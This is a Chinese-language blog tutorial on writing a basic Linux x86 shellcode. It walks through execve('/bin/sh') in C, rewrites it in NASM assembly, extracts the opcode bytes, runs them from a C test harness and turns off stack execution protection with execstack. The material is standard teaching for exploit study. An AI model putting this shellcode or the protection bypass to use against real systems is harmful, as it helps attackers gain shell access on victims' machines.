二进制入门-打造Linux shellcode基础篇

0x01 前言

 
本文的目的不是为了介绍如何进行恶意的破坏性活动,而是为了教会你如何去防御此类破坏性活动,以帮助你扩大知识范围,完善自己的技能,如有读者运用本文所学技术从事破坏性活动,本人概不负责。
 

0x02 什么是Shellcode

 
shellcode是用作利用软件漏洞的有效载荷的一小段代码,因为它通常启动一个命令shell,攻击者可以从中控制受攻击的机器,所以称他为shellcode。但是任何执行类似任务的代码都可以称为shellcode。 因为有效载荷的功能不仅限于一个shell。
shellcode基本的编写方式有以下三种
 
  • 直接编写十六进制操作码。
  • 使用c语言编写程序,然后进行编译,最后进行反汇编来获取汇编指令和十六进制操作码。
  • 编写汇编程序,将该程序汇编,然后从二进制中提取十六进制操作码。
 
第一种方法很极端,直接编写十六进制操作码是一件非常难得事情。下面我将带大家一步步去编写自己的shellcode。


0x03 execve系统调用

 
在Linux系统上执行程序的方式有多种,但是其中使用最广泛的一种方式就是通过借助execve系统调用。我们首先来看看execve的使用方法。


 

 
说明看起来很复杂,其实很简单。我们先使用c语言来实现它。


c语言实现execve系统调用创建shell

 
我们首先来新建一个文件:
 

 

 
我们使用vim来编写代码:
 
看完上面的介绍,使用c语言来实现就很简单了。


1
2
3
4
5
6
7
8
9
#include <unistd.h>
 
int main()
{
    char * shell[2];
    shell[0]="/bin/sh";
    shell[1]=NULL;
    execve(shell[0],shell,NULL);
}
 
然后我们使用gcc编译器来编译一下:
 

gcc test.c -o test.o

 
运行看看:
 

 

 
成功执行创建一个shell。


转向汇编语言

 
前面我们已经使用c语言来实现了,现在我们就需要用汇编语言来重写execve系统调用,其实很简单。我们先来查看一下execve系统调用号:11

 

汇编代码重写:
 
首先我们将寄存器eax清零。
 

xor eax,eax

 
然后我们将寄存器eax进行入栈操作,其实就是将字符串末尾的空字符值入栈:
 

push eax

然后将//sh入栈(由于需要对齐,因此这里用了四个字节)


push 0x68732f2f

 
最后将/bin入栈。


push 0x6e69622f

 
现在栈上已经有了全部所需数据,现在就是设置execve系统调用了。


[AppleScript] 纯文本查看 复制代码
1
2
3
4
5
6
7
mov ebx,esp
push eax
push ebx
mov ecx,esp
xor edx,edx
mov al,0xb  ;0xb表示其系统调用号的十六进制,execve的系统调用号为11
int 0x80



完整代码如下:


 
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
section .text
global _start
 
_start:
xor eax,eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
push eax
push ebx
mov ecx,esp
xor edx,edx
mov al,0xb
int 0x80



汇编链接测试

 
首先使用nasm进行汇编



root@kali:~/demo# nasm -f elf test.asm

 
然后使用ld链接


root@kali:~/demo# ld -o test test.o

 
运行测试看看

root@kali:~/demo# ./test
#

 

0x04 提取十六进制操作码并测试Shellcode

 
获得十六进制操作码很简单,我们只需要使用objdump工具的-d选项来进行反汇编即可:
 

 

 
最后我们检查一下有没有出现空字符(\x00)。


测试shellcode

 
首先我们将十六进制操作码放入一个名为shellcode[]的缓冲区中。


 
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
 
char shellcode[]=
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x31\xd2"
"\xb0\x0b"
"\xcd\x80";
 
int main()
{
    void (*fp) (void);
    fp=(void *)shellcode;
    fp();
}



然后我们分配一个名为fp的函数指针,然后将这个函数指针设置为shellcode[]的起始地址。最后我们执行这个函数。
现在我们编译一下,这里注意一下,编译成功后我们还是不能成功执行的,会出现段错误的提示,这是因为系统本身有数据区执行保护机制,导致在全局数据段的shellcode不能被运行,即出现段错误。
 

 

 
这里我们先安装一下execstack。


sudo apt-get install execstack

 
然后针对编译后的程序使用execstack


execstack -s 程序名

 
之后执行就OK了
 

 

总结

 
现在我们已经知道一个shellcode编写流程了,别走开,这只是基础篇,我们实现的这个shellcode缺乏实战,下一篇教程我们继续完善这个shellcode。
 
参考:
《汇编语言(第3版) 》王爽
《[科普]浅入浅出Liunx Shellcode》pr0cess
posted @ 2017-08-02 15:02  i春秋学院  阅读(...)  评论(...编辑  收藏